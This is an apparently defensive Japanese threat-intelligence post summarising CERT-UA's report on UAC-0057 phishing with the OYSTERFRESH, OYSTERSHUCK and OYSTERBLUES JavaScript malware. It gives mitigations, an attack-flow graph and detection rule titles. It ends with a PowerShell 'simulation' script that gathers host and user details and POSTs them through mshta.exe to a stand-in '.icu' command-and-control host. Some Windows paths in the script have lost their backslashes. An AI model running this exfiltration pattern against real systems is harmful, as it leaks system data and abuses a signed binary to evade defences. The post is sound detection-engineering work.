SOC Prime Bias: 中程度

22 May 2026 12:56 UTC

UAC-0057がツールキットをOYSTERFRESH、OYSTERSHUCK、OYSTERBLUESで更新

Author Photo
SOC Prime Team linkedin icon フォローする
UAC-0057がツールキットをOYSTERFRESH、OYSTERSHUCK、OYSTERBLUESで更新
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

CERT-UAは、ウクライナ政府機関を対象としたフィッシングキャンペーンを報告しています。これらのメールにはPDF添付ファイルが含まれており、受取人をOYSTERFRESH、OYSTERSHUCK、およびOYSTERBLUESと呼ばれる悪意のあるJavaScriptファイルを運ぶZIPアーカイブにリダイレクトします。実行されると、マルウェアはシステム情報を収集し、HTTP POSTリクエストを通じて送信し、後の段階でCobalt Strikeコンポーネントを取得するオプションもあります。支援インフラストラクチャはCloudflareの背後に隠されており、多くの .icu ドメインを使用しています。

調査

CERT-UAの分析により、逆文字列、ROT13、URLデコードなどのデコード方法に依存する悪意のあるJavaScriptサンプルと、持続性を維持するために使用されるレジストリ変更が特定されました。調査官はまた、感染の連鎖に関連する複数のファイルアーティファクトとWindowsのパスを文書化しました。ネットワーク分析は、Cloudflareで保護された .icu ホスティングインフラストラクチャと活動を結びつけています。報告書には、Cobalt Strikeビーコンの可能な後続の配信がさらに記載されています。

緩和策

組織は、標準ユーザーに対する wscript.exe の実行を制限し、PowerShellとJavaScriptの実行を制限し、リストされたレジストリのRunキーの疑わしい変更を監視する必要があります。Webフィルタリングを使用して、 .icu のドメインおよび、適切な場合には、キャンペーンに関連するCloudflare関連のIP範囲をブロックする必要があります。ディフェンダーはまた、最小特権制御を適用し、不明なバイナリの自動実行を防ぐ必要があります。

対応

セキュリティチームは、特定されたファイル名、レジストリキー、および既知のドメインへのアウトバウンドHTTP POSTトラフィックの検出を作成する必要があります。狩猟はまた、 CSBEACON DLLと、 MicrosoftEdgeUpdateTaskMachineと命名されたあらゆるスケジュールタスクを対象とする必要があります。エンドポイント調査は、JavaScriptのデコードおよび実行チェーンを追跡するためのプロセスツリーを収集する必要があります。

graph TB %% クラス定義 classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% ノード action_phishing[“<b>アクション</b> – <b>T1566.001 フィッシング</b><br/>スピアフィッシング添付: ZIPへのリンクを含む悪性PDFを送信”] class action_phishing action action_user_exec[“<b>アクション</b> – <b>T1204.002 ユーザー実行</b><br/>被害者がPDF/ZIPを開き、JavaScript OYSTERFRESHを実行”] class action_user_exec action malware_oysterfresh[“<b>マルウェア</b> – OYSTERFRESH<br/>ZIPで配布されるJavaScriptファイル、攻撃の入口”] class malware_oysterfresh malware action_obfuscate[“<b>アクション</b> – <b>T1027.008 難読化</b><br/>文字列反転、ROT13、URLデコードによるペイロード難読化”] class action_obfuscate action malware_oysterblues[“<b>マルウェア</b> – OYSTERBLUES<br/>レジストリエントリを書き込み、永続化コンポーネントを起動”] class malware_oysterblues malware tool_wscript[“<b>ツール</b> – wscript.exe<br/>追加JavaScriptコンポーネントを実行するWindows Script Host”] class tool_wscript tool action_proxy_exec[“<b>アクション</b> – <b>T1127 プロキシ実行</b><br/>wscript.exeを使用してOYSTERSHUCKおよびOYSTERBLUESを実行”] class action_proxy_exec action action_persistence[“<b>アクション</b> – <b>T1547.014 永続化</b><br/>HKCU Runキーを作成し、MicrosoftEdgeUpdate.exeとEdgeApp.exeをログオン時に実行”] class action_persistence action action_discovery[“<b>アクション</b> – <b>T1057 プロセス探索</b><br/>プロセス一覧、PC名、ユーザー、OSバージョン、起動時間を収集”] class action_discovery action process_c2[“<b>プロセス</b> – C2サーバーへのHTTP POST<br/>収集したシステム情報を送信”] class process_c2 process action_embedded_payload[“<b>アクション</b> – <b>T1027.009 埋め込みペイロード</b><br/>JavaScript内に埋め込まれたCobalt Strikeビーコンをevalで実行”] class action_embedded_payload action malware_cobalt_strike[“<b>マルウェア</b> – Cobalt Strikeビーコン<br/>埋め込み悪性ペイロード”] class malware_cobalt_strike malware %% 接続 action_phishing –>|配信| action_user_exec action_user_exec –>|起動| malware_oysterfresh malware_oysterfresh –>|実行| action_obfuscate action_obfuscate –>|生成| malware_oysterblues malware_oysterblues –>|使用| tool_wscript tool_wscript –>|有効化| action_proxy_exec action_proxy_exec –>|実行| malware_oysterblues action_proxy_exec –>|実行| malware_oysterfresh action_proxy_exec –>|実行| malware_cobalt_strike action_persistence –>|確立| process_c2 action_discovery –>|送信| process_c2 action_embedded_payload –>|実行| malware_cobalt_strike

攻撃フロー

検出

考えられる持続ポイント [ASEPs – Software/NTUSER Hive] (レジストリイベント経由)

SOC Prime チーム
2026年5月22日

Runキーに追加された疑わしいファイル拡張子 [ASEPs] (レジストリイベント経由)

SOC Prime チーム
2026年5月22日

メールクライアントからの直接アーカイブ抽出(プロセス作成経由)

SOC Prime チーム
2026年5月22日

ZIPアーカイブからの実行 [7zip] (プロセス作成経由)

SOC Prime チーム
2026年5月22日

RARアーカイブからの実行 [WinRAR] (プロセス作成経由)

SOC Prime チーム
2026年5月22日

LOLBAS WScript / CScript(プロセス作成経由)

SOC Prime チーム
2026年5月22日

LOLBAS RunDLL32(コマンドライン経由)

SOC Prime チーム
2026年5月22日

アーカイブからの疑わしい抽出されたファイル(ファイルイベント経由)

SOC Prime チーム
2026年5月22日

疑わしいスケジュールされたタスク(監査経由)

SOC Prime チーム
2026年5月22日

珍しいトップレベルドメイン(TLD)DNSリクエストによる疑わしいコマンドと制御(DNS経由)

SOC Prime チーム
2026年5月22日

IOC(HashSha256)を検出する:更新されたツールキットUAC-0057:OYSTERFRESH、OYSTERSHUCK、OYSTERBLUES パート2

SOC Prime AI ルール
2026年5月22日

IOC(HashSha256)を検出する:更新されたツールキットUAC-0057:OYSTERFRESH、OYSTERSHUCK、OYSTERBLUES パート1

SOC Prime AI ルール
2026年5月22日

IOC(HashSha1)を検出する:更新されたツールキットUAC-0057:OYSTERFRESH、OYSTERSHUCK、OYSTERBLUES

SOC Prime AI ルール
2026年5月22日

IOC(HashMd5)を検出する:更新されたツールキットUAC-0057:OYSTERFRESH、OYSTERSHUCK、OYSTERBLUES パート2

SOC Prime AI ルール
2026年5月22日

IOC(HashMd5)を検出する:更新されたツールキットUAC-0057:OYSTERFRESH、OYSTERSHUCK、OYSTERBLUES パート1

SOC Prime AI ルール
2026年5月22日

IOC(SourceIP)を検出する:更新されたツールキットUAC-0057:OYSTERFRESH、OYSTERSHUCK、OYSTERBLUES

SOC Prime AI ルール
2026年5月22日

IOC(DestinationIP)を検出する:更新されたツールキットUAC-0057:OYSTERFRESH、OYSTERSHUCK、OYSTERBLUES

SOC Prime AI ルール
2026年5月22日

OYSTERBLUESのエクスフィルトレーションを.icuドメインへのHTTP POST経由で検出 [Windows ネットワーク接続]

SOC Prime AI ルール
2026年5月22日

wscript.exe経由の悪意のあるJavaScript実行の検出 [Windowsプロセス作成]

SOC Prime AI ルール
2026年5月22日

シミュレーション実行

必要条件:テレメトリおよびベースラインのプリフライトチェックが成功していること

根拠:このセクションは、検出ルールをトリガーするために設計された攻撃者の技術(TTP)の正確な実行を詳述しています。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成します。

  • 攻撃のナラティブとコマンド:
    攻撃者は、署名されたWindowsのバイナリ(mshta.exe)を利用して小さなJavaScriptペイロードを実行し、システム情報を収集し、C2サーバーによって制御されている悪意のある“.icu”ドメインにHTTP POSTを介して送信します。この「ランド使用」アプローチは、AVアラートを引き起こすことなく、規則が監視する正確なファイアウォールイベント(POST + “.icu”)を生成します。

  • 回帰テストスクリプト:

    # OYSTERBLUESスタイルのエクスフィルトレーションシミュレーション
    # 1. JSONに最小限のシステム情報をエンコード
    $info = @{
        hostname = $env:COMPUTERNAME
        user     = $env:USERNAME
        os       = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption
    } | ConvertTo-Json -Compress
    
    # 2. JSフェッチPOSTを実行する一時的なHTMLファイルを作成
    $htmlPath = "$env:TEMPextfilename.html"
    $js = @"
      var data = '$info';
      fetch('http://malicious-c2.abc.icu/collect', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: data
      });
    "@
    Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII
    
    # 3. mshta(署名されたバイナリプロキシ実行)経由で実行
    Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`""
    
    # 4. リクエスト完了の時間の間隔を設定し、次にクリーンアップ
    Start-Sleep -Seconds 5
    Remove-Item -Path $htmlPath -Force
  • クリーンアップコマンド:

    # 残存するmshtaプロセスがあれば終了
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # 残余の一時ファイル(ある場合)を削除
    $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "extfilename.html"
    foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }